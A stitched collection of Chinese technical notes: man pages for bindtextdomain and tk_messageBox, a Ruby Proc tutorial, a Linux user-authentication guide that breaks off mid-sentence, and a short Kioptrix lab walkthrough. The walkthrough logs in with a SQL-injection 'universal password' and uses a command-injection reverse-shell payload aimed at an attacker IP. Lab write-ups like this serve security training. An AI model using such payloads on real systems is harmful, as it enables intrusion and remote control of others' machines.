.\" Copyright (c) Bruno Haible <haible@clisp.cons.org> .\" .\" This is free documentation; you can redistribute it and/or .\" modify it under the terms of the GNU General Public License as .\" published by the Free Software Foundation; either version 2 of .\" the License, or (at your option) any later version. .\" .\" References consulted: .\" GNU glibc-2 source code and manual .\" GNU gettext source code and manual .\" LI18NUX 2000 Globalization Specification .\" .TH BINDTEXTDOMAIN 3 "May 2001" "GNU gettext 0.10.38" .SH NAME bindtextdomain \- 设置 包括 消息条目 的 路径 .SH "总览 (SYNOPSIS)" .nf .B #include <libintl.h> .sp .BI "char * bindtextdomain (const char * " domainname ", const char * " dirname ); .fi .SH "描述 (DESCRIPTION)" \fBbindtextdomain\fP 函数 的 作用 是 设置 指定消息域 里,包含 消息条目 (message catalog) 的 基本目录 层次结构。 .PP 一个 消息域 是 一套 可翻译的 \fImsgid\fP 消息。 通常, 每一个 软件包 有 它自己的 消息域。 提出 \fBbindtextdomain\fP 的 需求 是因为 软件包 安装 的 时候,并不总和 <libintl.h> 头文件 和 libc/libintl 库文件 的前缀 保持一致. .PP 消息条目 期望的 路径名 是 \fIdirname\fP/\fIlocale\fP/\fIcategory\fP/\fIdomainname\fP.mo, 其中 \fIlocale\fP 是 locale 名, 而 \fIcategory\fP 是 locale 面, 如 \fBLC_MESSAGES\fP. .PP \fIdomainname\fP 必须 是 非空字符串。 .PP 如果 \fIdirname\fP 不是 NULL, 属于 \fIdomainname\fP 域 的 消息条目 的 基本目录 被设置为 \fIdirname\fP。 函数 能够 复制 参数字符串。 如果 程序 希望 调用 \fBchdir\fP 函数, \fIdirname\fP 必须 是 绝对路径名; 否则 程序 无法 保证 找到 消息条目。 .PP 如果 \fIdirname\fP 是 NULL, 函数 返回 以前 为 \fIdomainname\fP 域 设置的 基本目录。 .SH "返回值 (RETURN VALUE)" 如果成功, \fBbindtextdomain\fP 函数 返回 当前 \fIdomainname\fP 域 的 基本目录, 如果 改变了 基本目录, 返回 改变后的 基本目录。 返回的 字符串 一直 有效, 直到 下一次 对 同一个 \fIdomainname\fP 调用 \fBbindtextdomain\fP; 这个 字符串 不应该 被修改 或 释放。 如果 发生 内存分配错误, \fBerrno\fP 设置为 \fBENOMEM\fP, 然后 返回 NULL. .SH "错误 (ERRORS)" 下列 错误 可能 发生, 包括 其它的: .TP .B ENOMEM 没有 足够的 内存 可用。 .SH BUGS 返回类型 应该是 \fBconst char *\fP, 但是 为了 避免 较早版本 ANSI C 代码 的 警告, 返回类型 是 \fBchar *\fP. .SH "另见 (SEE ALSO)" .BR gettext (3), .BR dgettext (3), .BR dcgettext (3), .BR ngettext (3), .BR dngettext (3), .BR dcngettext (3), .BR textdomain (3), .BR realpath (3) .SH "[中文版维护人]" .B Viamu <viamu@msn.com> .SH "[中文版最新更新]" 2003/11/28 .SH "[中文版校对人]" .B Xuming <xuming@users.sourceforge.net> .SH "《中文MAN-PAGE计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: messageBox.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: messageBox.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tk_messageBox 3tk 4.2 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tk_messageBox \- 弹出一个消息窗口并等待用户响应。 .SH "总览 SYNOPSIS" \fBtk_messageBox \fR?\fIoption value ...\fR? .BE .SH "描述 DESCRIPTION" .PP 这个过程建立并显示一个消息窗口,它带有一个用户消息,一个图标和一组按钮。用一个唯一的符号名字标识消息窗口中的每个按钮(参见 \fB-type\fR 选项)。在弹出消息窗口之后,\fBtk_messageBox\fR 等待用户选择按钮中的一个。接着返回选择的按钮的符号名字。 支持下列选项-值对: .TP \fB\-default\fR \fIname\fR \fIName\fR 给出这个消息窗口的缺省按钮的符号名字(‘ok’、‘cancel’和诸如此类)。符号名字的列表请参见 \fB-type\fR。如果这个消息框只有一个按钮则它将自动成为缺省,如果未指定这个选项,则不会有任何缺省按钮。 .TP \fB\-icon\fR \fIiconImage\fR 指定要显示的一个图标。\fIIconImage\fR 必须是下列之一: \fBerror\fR、\fBinfo\fR、\fBquestion\fR 或 \fBwarning\fR。如果未指定这个选项,则显示 info 图标。 .TP \fB\-message\fR \fIstring\fR 指定在这个消息框中显示的消息。 .TP \fB\-parent\fR \fIwindow\fR 使 \fIwindow\fR 成为这个消息框的逻辑父窗口。这个消息框在它的父窗口顶上显示。 .TP \fB\-title\fR \fItitleString\fR 指定一个字符串显示为这个消息窗口的标题。缺省值为一个空串。 .TP \fB\-type\fR \fIpredefinedType\fR 安排要显示的预定按钮集合。\fIpredefinedType \fR可能是下列值: .RS .TP 18 \fBabortretryignore\fR 显示三个按钮,它们的符号名字是 \fBabort\fR、\fBretry\fR 和 \fBignore\fR。 .TP 18 \fBok\fR 显示一个按钮,它的符号名字是 \fBok\fR。 .TP 18 \fBokcancel\fR 显示两个按钮,它们的符号名字是 \fBok\fR 和 \fBcancel\fR。 .TP 18 \fBretrycancel\fR 显示两个按钮,它们的符号名字是 \fBretry\fR 和 \fBcancel\fR。 .TP 18 \fByesno\fR 显示两个按钮,它们的符号名字是 \fByes\fR 和 \fBno\fR。 .TP 18 \fByesnocancel\fR 显示三个按钮,它们的符号名字是 \fByes\fR、\fBno\fR 和 \fBcancel\fR。 .RE .PP .SH "示例 EXAMPLE" .CS set answer [tk_messageBox \-message "Really quit?" \-type yesno \-icon question] switch -- $answer { yes exit no {tk_messageBox \-message "I know you like this application!" \-type ok} } .CE .SH "关键字 KEYWORDS" message box .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2002/05/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Proc 类 --- - https://www.kancloud.cn/imxieke/ruby-base/107309 --- # Proc 类是什么 所谓 `Proc`,就是使块对象化的类。`Proc` 与块的关系非常密切,下面,我们来看看如何创建与执行 `Proc` 对象。 - `Proc.new(...)` - `proc{...}` 创建 `Proc` 对象的典型方法是通过 `Proc.new` 方法,或者对 `proc` 方法指定块。 ```ruby hello1 = Proc.new do |name| puts "Hello, #{name}." end hello2 = proc do |name| puts "Hello, #{name}." end hello1.call("World") #=> Hello, World. hello2.call("Ruby") #=> Hello, Ruby. ``` 利用 `Proc.new` 方法,或者对 `proc` 方法指定块,都可以创建代表块的 `Proc` 对象。 通过调用 `Proc.call` 方法执行块。调用 `Proc.call` 方法时的参数会作为块变量,块中最后一个表达式的值则为 `Proc.call` 的返回值。`Proc.call` 还有一个名称叫 `Proc#[]`。 ```ruby # 判断西历的年是否为闰年的处理 leap = Proc.new do |year| year % 4 == 0 && year % 100 != 0 || year % 400 ==0 end p leap.call(2000) #=> true p leap[2013] #=> false p leap[2016] #=> true ``` 将块变量设置为 |* 数组 | 的形式后,就可以像方法参数一样,以数组的形式接收可变数量的参数。 ```ruby double = Proc.new do |*args| args.map{|i| i * 2 } # 所有元素乘两倍 end p double.call(1, 2, 3) #=> [2, 3, 4] p double[2, 3, 4] #=> [4, 6, 8] ``` 除此以外,定义普通方法时可使用的参数形式,如默认参数、关键字参数等,几乎都可以被用于块变量的定义,并被指定给 `Proc.call` 方法。 **lambda** `Proc.new`、`proc` 等有另外一种写法叫 `lambda`。与 `Proc.new`、`proc` 一样,`lambda` 也可以创建 `Proc` 对象,但通过 `lambda` 创建的 `Proc` 的行为会更接近方法。 第一个不同点是,`lambda` 的参数数量的检查更加严密。对用 `Proc.new` 创建的 `Proc` 对象调用 `call` 方法时,`call` 方法的参数数量与块变量的数量可以不同。但通过 `lambda` 创建 `Proc` 对象时,如果参数数量不正确,程序就会产生错误。 ```ruby prc1 = Proc.new do |a, b, c| p [a, b, c] end prc1.call(1, 2) #=> [1, 2, nil] prc2 = lambda do |a, b, c| p [a, b, c] end prc2.call(1, 2) #=> 错误(ArgumentError) ``` 第二个不同点是,`lambda` 可以使用 `return` 将值从块中返回。下面的代码中 `power_of` 方法会利用参数 `n` 返回“计算 x 的 n 次幂的 Proc 对象”。请注意,返回值并不是数值,而是进行运算的 `Proc` 对象。调用 `power_of(3)` 后,结果就会得到 call 方法参数值的 3 次幂的 `Proc` 对象。从 `lambda` 中返回值时使用了 `return`,这里的 `return` 会将 `lambda` 中的值返回。 ``` def power_of(n) lambda do |x| return x ** n end end cube = power_of(3) p cube.call(5) #=> 125 ``` 接下来,我们尝试用 `Proc.new` 方法改写代码。使用 `Proc.new` 方法时,在块中使用 `return` 后,程序就会跳过当前执行块,直接从创建这个块的方法返回。在本例中,即虽然块内的 `return` 应该从 `power_of` 方法返回,但由于程序运行时 `power_of` 方法的上下文会消失,因此程序就会出现错误。 ```ruby def power_of(n) Proc.new do |x| return x ** n end end cube = power_of(3) p cube.call(5) #=> 错误(LocalJumpError) ``` 不是 `lambda` 的普通块中的 `return`,会从正在执行循环的方法返回。下面代码中的 `prefix` 方法会比较参数 `ary` 中的元素是否与 `obj` 相等,相等就返回在此之前的所有元素,不相等则返回空数组。第 6 行中的 `return` 并不会从块返回,而是跳过块,并作为 `prefix` 方法整体的返回值返回。 ```ruby def prefix(ary, obj) result = [] # 初始化结果数组 ary.each do |item| # 逐个检查元素 result << item # 将元素追加到结果数组中 if item == obj # 如果元素与条件一致 return result # 返回结果数组 end end return result # 所有元素检查完毕的时候 end prefix([1, 2, 3, 4, 5], 3) #=> [1, 2, 3] ``` `break` 被用于控制迭代器的行为。这个命令会向接收块的方法的调用者返回结果值。如下所示,`break []` 会马上终止 `Array.collect` 方法,并将空数组作为 `collent` 方法的整体的返回值返回。 ```ruby [:a, :b, :c].collect do |item| break [] end ``` > 用 `Proc.new` 方法或者 `proc` 方法创建的 `Proc` 对象的情况下,由于这些方法都接收块,在调用 `Proc.call` 方法的时候并没有适当的返回对象,因此就会发生错误。而 `lambda` 的情况下则与 `return` 一样,将值返回给 `Proc.call` 方法。另一方面,由于 `next` 方法的作用在于中断 1 次块的执行,因此无论如何创建 `Proc` 对象,都可以将值返回给 `call` 方法。 `lambda` 有另外一种写法——“`->( 块变量 ){ 处理 }`”。块变量在 `{ ~ }` 之前,看上去有点像函数。使用 `->` 的时候,我们一般会使用 `{ ~ }` 而不是 `do ~ end`。 ```ruby square = ->(n){ return n ** 2} p square[5] #=> 25 ``` **通过 Proc 参数接收块** 在调用带块的方法时,通过 `Proc` 参数的形式指定块后,该块就会作为 `Proc` 对象被方法接收。下面代码在 `total2` 方法中,调用 `total2` 方法时指定的块,可以作为 `Proc` 对象从变量 `block` 中获取。 ```ruby def total2(from, to, &block) result = 0 # 合计值 from.upto(to) do |num| # 处理从 from 到 to 的值 if block # 如果有块的话 result += # 累加经过块处理的值 block.call(num) else # 如果没有块的话 result += num # 直接累加 end end return result # 返回方法的结果 end p total2(1, 10) # 从 1 到 10 的和 => 55 p total2(1, 10){|num| num ** 2 } # 从 1 到 10 的 2 次冥的和 => 385 ``` **to_proc 方法** 有些对象有 `to_proc` 方法。在方法中指定块时,如果以 & 对象的形式传递参数,对象 `.to_proc` 就会被自动调用,进而生成 `Proc` 对象。 其中,`Symbol.to_proc` 方法是比较典型的,并且经常被用到。例如,对符号 `:to_i` 使用 `Symbol.to_proc` 方法,就会生成下面那样的 `Proc` 对象。 ```ruby Proc.new{|arg| arg.to_i } ``` 这个对象在什么时候使用呢?例如,把数组的所有元素转换为数值类型时,一般的做法如下: 执行示例 ```ruby >> %w(42 39 56).map{|i| i.to_i } => [42, 39, 56] ``` 上述代码还可以像下面这样写: 执行示例 ```ruby >> %w(42 39 56).map(&:to_i) => [42, 39, 56] ``` 按照类名排序的程序,也可以写成: 执行示例 ```ruby >> [Integer, String, Array, Hash, File, IO].sort_by(&:name) => [Array, File, Hash, IO, Integer, String] ``` 熟悉这样的写法可能需要一定的时间,但这种写法不仅干净利索,而且意图明确。 # Proc 的特征 虽然 `Proc` 对象可以作为匿名函数或方法使用,但它并不只是单纯的对象化。 ```ruby def counter c = 0 # 初始化计数器 Proc.new do # 每调用 1 次 call 方法,计数器加1 c += 1 # 返回加 1 后的 Proc 对象 end end # 创建计数器 c1 并计数 c1 = counter p c1.call #=> 1 p c1.call #=> 2 p c1.call #=> 3 # 创建计数器 c2 并计数 c2 = counter # 创建计数器c2 p c2.call #=> 1 p c2.call #=> 2 # 再次用 c1 计数 p c1.call #=> 4 ``` 第 1 行到第 6 行为 `counter` 方法的定义。该方法首先把作为计数器的本地变量 `c` 初始化为 0。然后每调用 1 次 `Proc.call` 方法,就将计数器加 1,并返回该 `Proc` 对象。在第 9 行中,调用 `counter` 方法,将 `Proc` 对象赋值给 `c1`。可以看到,`c1` 调用 `call` 方法后,`proc` 对象引用的本地变量 `c` 开始计数了。在第 15 行中,以同样的方法创建新的计数器,之后计数器被重置。在最后的第 20 行中,再次调用最初创建的 `c1` 的 `call` 方法,计数器开始接着之前的结果计数。 通过这个例子我们可以看出,变量 `c1` 与变量 `c2` 引用的 `Proc` 对象,是分别保存、处理调用 `counter` 方法时初始化的本地变量的。与此同时,`Proc` 对象也会将处理内容、本地变量的作用域等定义块时的状态一起保存。 像 `Proc` 对象这样,将处理内容、变量等环境同时进行保存的对象,在编程语言中称为闭包(closure)。使用闭包后,程序就可以将处理内容和数据作为对象来操作。这和在类中描述处理本身、在实例中保存数据本质上是一样的,只是从写程序的角度来看,使用类的话当然也就意味着可以使用更多的功能。 就像刚才的计数器的例子那样,`Proc` 对象可被用来对少量代码实现的功能做对象化处理。另外,由于 Ruby 中大量使用了块,因此在有一定规模的程序开发中,我们就难免会使用到 `Proc` 对象。特别是像调用和传递带块的方法时的方法、通过闭包保存数据等功能,我们都需要透彻理解才行。 # Proc 类的实例方法 - `prc.call(args, ...)` - `prc[args, ...]` - `prc.yield(args, ...)` - `prc.(args, ...)` - `prc === arg` 上述方法都执行 `Proc` 对象 prc。 ```ruby prc = Proc.new{|a, b| a + b} p prc.call(1, 2) #=> 3 p prc[3, 4] #=> 7 p prc.yield(5, 6) #=> 11 p prc.(7, 8) #=> 15 p prc === [9, 10] #=> 19 ``` 由于受到语法的限制,通过 `===` 指定的参数只能为 1 个。大家一定要牢记这个方法会在 `Proc` 对象作为 `case` 语句的条件时使用。因此,在创建这样的 `Proc` 对象时,比较恰当的做法是,只接收一个参数,并返回 `true` 或者 `false`。 下面的例子实现的是,从 1 到 100 的整数中,当值为 3 的倍数时输出 `Fizz`,5 的倍数时输出 `Buzz`,15 的倍数时输出 `Fizz Buzz`,除此以外的情况下则输出该值本身。 ```ruby fizz = proc{|n| n % 3 == 0 } buzz = proc{|n| n % 5 == 0 } fizzbuzz = proc{|n| n % 3 == 0 && n % 5 == 0} (1..100).each do |i| case i when fizzbuzz then puts "Fizz Buzz" when fizz then puts "Fizz" when buzz then puts "Buzz" else puts i end end ``` - `prc.arity` 返回作为 `call` 方法的参数的块变量的个数。以 `|*args|` 的形式指定块变量时,返回 -1。 ```ruby prc0 = Proc.new{ nil } prc1 = Proc.new{|a| a } prc2 = Proc.new{|a, b| a + b } prc3 = Proc.new{|a, b, c| a + b +c } prcn = Proc.new{|*args| args } p prc0.arity #=> 0 p prc1.arity #=> 1 p prc2.arity #=> 2 p prc3.arity #=> 3 p prcn.arity #=> -1 ``` - `prc.parameters` 返回关于块变量的详细信息。返回值为 [ 种类 , 变量名 ] 形式的数组的列表。 符号 | 意义 - | - `:opt` | 可省略的变量 `:req` | 必需的变量 `:rest` | 以 *args 形式表示的变量 `:key` | 关键字参数形式的变量 `:keyrest` | 以 **args 形式表示的变量 `:block` | 块 ```ruby prc0 = proc{ nil } prc1 = proc{|a| a } prc2 = lambda{|a, b| [a, b] } prc3 = lambda{|a, b=1, *c| [a, b, c] } prc4 = lambda{|a, &block| [a, block] } prc5 = lambda{|a: 1, **b| [a, b] } p prc0.parameters #=> [] p prc1.parameters #=> [[:opt, :a]] p prc2.parameters #=> [[:req, :a], [:req, :b]] p prc3.parameters #=> [[:req, :a], [:opt, :b], [:rest, :c]] p prc4.parameters #=> [[:req, :a], [:block, :block]] p prc5.parameters #=> [[:key, :a], [:keyrest, :b]] ``` - `prc.lambda?` 判断 prc 是否为通过 `lambda` 定义的方法。 ```ruby prc1 = Proc.new{|a, b| a + b} p prc1.lambda? #=> false prc2 = lambda{|a, b| a + b} p prc2.lambda? #=> true ``` - `prc.source_location` 返回定义 prc 的程序代码的位置。返回值为 [ 代码文件名 , 行编号 ] 形式的数组。prc 由扩展库等生成,当 Ruby 脚本不存在时返回 `nil`。 ``` prc0 = Proc.new{ nil } prc1 = Proc.new{|a| a } p prc0.source_location p prc1.source_location ``` 执行示例 ``` > ruby proc_source_location.rb ["proc_source_location.rb", 1] ["proc_source_location.rb", 2] ```
sec-knowleage
# Kioptrix: Level 1.1 下载地址: ``` https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar ``` ## 实战操作 netdiscover找到靶场IP:`192.168.0.10` ``` ┌──(root💀kali)-[/tmp] └─# nmap -sV -p1-65535 192.168.0.10 255 ⨯ Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-11 23:22 EST Nmap scan report for 192.168.0.10 Host is up (0.0012s latency). Not shown: 65528 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99) 80/tcp open http Apache httpd 2.0.52 ((CentOS)) 111/tcp open rpcbind 2 (RPC #100000) 443/tcp open ssl/https? 615/tcp open status 1 (RPC #100024) 631/tcp open ipp CUPS 1.1 3306/tcp open mysql MySQL (unauthorized) MAC Address: 00:0C:29:C9:8D:0E (VMware) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.56 seconds ``` ### HTTP 浏览器访问80端口,看到一个登录界面。 ![](<../../.gitbook/assets/image (18) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) 用万能密码登录进去 ![](<../../.gitbook/assets/image (17) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) 登录进去之后,发现是一个ping IP功能,看到这个就可以知道有命令注入漏洞。 ![](<../../.gitbook/assets/image (16) (1) (1) (1) (1) (1) (1) (1) (1).png>) 回显权限是apache ![](<../../.gitbook/assets/image (9) (1) (1) (1) (1) (1).png>) 配置反弹shell,payload:`0 | bash -i >& /dev/tcp/192.168.0.8/7777 0>&1` ![](<../../.gitbook/assets/image (14) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
sec-knowleage
# 认证 <p align="center"> <a href="http://turnoff.us/geek/the-depressed-developer-54/"><img src="../../../../assets/img/banner/认证.jpg" width="65%"></a> </p> --- ## 用户信息 **/etc/passwd** `/etc/passwd` 是用户数据库,其中的域给出了用户名、加密口令和用户的其他信息 `/etc/passwd` 文件中的每个用户都有一个对应的记录行,记录着这个用户的一下基本属性。`/etc/passwd` 只有系统管理员才可以修改的,该文件对所有用户可读。 - 存储条目格式 ``` name:coded-passwd:UID:GID:userinfo:homedirectory:shell 例子 root:x:0:0:root:/root:/usr/bin/bash | | | | | | |__登录 shell 程序的路径 | | | | | |__宿主目录 | | | | |__用户全名 | | | |__所属基本组的 GID 号 | | |__用户账号的 UID 号 | |__密码字串或占位符 x |__用户账号的名称 ``` - 若用户 ID=0,则表示该用户拥有超级用户的权限 - 检查是否有多个 ID=0 - 禁用或删除多余的账号 - 系统默认用户 系统程序使用,从不登录 - 新建普通用户 uid 大于 500 在系统登录时,最终以 passwd 中的密码为准,因为 linux 校验时先读取 passwd 中的密码,第二位为占位符 x 时,将读取 shadow 中的 hash,而在 passwd 中存在密码字串时,将不会读取 shadow 中 hash。 **/etc/shadow** `/etc/shadow` 是在安装了影子(shadow)口令软件的系统上的影子口令文件 在linux中,口令文件在 `/etc/passwd` 中,早期的这个文件直接存放加密后的密码,前两位是"盐"值,是一个随机数,后面跟的是加密的密码。为了安全,现在的 linux 都提供了 `/etc/shadow` 这个影子文件,密码放在这个文件里面,并且是只有 root 可读的。 Unix 系统最初是用明文保存密码的,后来由于安全的考虑,采用 crypt() 算法加密密码并存放在 `/etc/passwd` 文件。现在,由 于计算机处理能力的提高,使密码破解变得越来越容易。`/etc/passwd` 文件是所有合法用户都可访问的,大家都可互相看到密码的加密字符串,这给系统 带来很大的安全威胁。现代的 Unix 系统使用影子密码系统,它把密码从 `/etc/passwd` 文件中分离出来,真正的密码保存在 `/etc/shadow` 文件中,shadow 文件只能由超级用户访问。这样入侵者就不能获得加密密码串,用于破 解。使用 shadow 密码文件后,`/etc/passwd` 文件中所有帐户的 password 域的内容为"x",如果 password 域的内容为"*",则 该帐号被停用。使用 passwd 这个程序可修改用户的密码。 - 存储条目格式 ``` name:passwd:lastchg:min:max:warn:inactive:expire:flag 例子 root:$6$pglAPwtWL....K6EMWC6sP8dqMh3TB2C21::0:99999:7::: | | | | | ||||__保留字段(未使用) | | | | | |||__账号失效时间,默认值未空 | | | | | ||__密码过期后多少天禁用此用户账号 | | | | | |__密码过期前的警告天数,默认7 | | | | |__密码的最长有效天数,默认99999 | | | |__密码的最短有效天数,默认0 | | |__上次修改密码的时间 | |__加密后的密码字符串 |__用户账号的名称 ``` - “口令”字段存放的是加密后的用户口令字: - 如果为空,则对应用户没有口令,登录时不需要口令; - 星号代表帐号被锁定; - 双叹号表示这个密码已经过期了; - $6$ 开头的,表明是用 SHA-512 加密; - $1$ 表明是用 MD5 加密; - $2$ 是用 Blowfish 加密; - $5$ 是用 SHA-256 加密; - 加密的密码具有固定格式:`$id$salt$encrypted`,id 表示加密算法,salt 表示密码学中的 Salt,系统随机生成 encrypted表示密码的 hash 在 shadow 中直接添加用户是不可登录的,作为 passwd 的影子文件,其作用只是存放密码。 **用户管理** ```bash id # 当前用户 whoami # 当前用户 groups # 当前组 cut -d: -f1 /etc/passwd # 查看系统所有用户 useradd <username> # 创建用户 useradd -d /home/<username> -s /sbin/nologin <username> # 创建用户并指定家目录和 shell passwd <username> # 设置用户密码 addgroup <groupname> # 创建组 addgroup <username> <groupname> # 移动用户到组 newgrp <groupname> # 创建组 usermod -g <groupname> <username> # 修改用户的主组 usermod -G <附加组> <username> # 修改用户的附加组 usermod -s /bin/bash <username> # 修改用户登录的 Shell usermod -L <username> # 锁定用户 usermod -U <username> # 解锁用户 userdel <username> # 只删除用户不删除家目录 userdel -r <username> # 同时删除家目录 userdel -f <username> # 强制删除,即使用户还在登录中 chage # 修改帐号和密码的有效期限 chage -l <username> # 查看一下用户密码状态 chage -d <username> # 把密码修改曰期归零了,这样用户一登录就要修改密码 passwd # 配置 su 密码 passwd -l <username> # 锁定用户 passwd -u <username> # 解锁用户 ``` --- ## 组信息 **/etc/group** `/etc/group` 文件是用户组配置文件,即用户组的所有信息都存放在此文件中。 此文件是记录组 ID(GID)和组名相对应的文件。 ```bash cat /etc/group root:x:0: daemon:x:1: bin:x:2: sys:x:3: ... test:x:1000: ``` 此文件中每一行各代表一个用户组。以 ":" 作为字段之间的分隔符,分为 4 个字段 每个字段对应的含义为:组名:密码:GID:该用户组中的用户列表 - 组名 也就是是用户组的名称,由字母或数字构成。同 `/etc/passwd` 中的用户名一样,组名也不能重复。 - 组密码 和 `/etc/passwd` 文件一样,这里的 "x" 仅仅是密码标识,真正加密后的组密码默认保存在 `/etc/gshadow` 文件中。 不过,用户设置密码是为了验证用户的身份,那用户组设置密码是用来做什么的呢?用户组密码主要是用来指定组管理员的,由于系统中的账号可能会非常多,root 用户可能没有时间进行用户的组调整,这时可以给用户组指定组管理员,如果有用户需要加入或退出某用户组,可以由该组的组管理员替代 root 进行管理。但是这项功能目前很少使用,我们也很少设置组密码。如果需要赋予某用户调整某个用户组的权限,则可以使用 sudo 命令代替。 - 组ID (GID) 就是群组的 ID 号,Linux 系统就是通过 GID 来区分用户组的,同用户名一样,组名也只是为了便于管理员记忆。 这里的组 GID 与 `/etc/passwd` 文件中第 4 个字段的 GID 相对应,实际上,`/etc/passwd` 文件中使用 GID 对应的群组名,就是通过此文件对应得到的。 - 组中的用户 此字段列出每个群组包含的所有用户。需要注意的是,如果该用户组是这个用户的初始组,则该用户不会写入这个字段,可以这么理解,该字段显示的用户都是这个用户组的附加用户。 举个例子,lamp 组的组信息为 "lamp:x:502:",可以看到,第四个字段没有写入 lamp 用户,因为 lamp 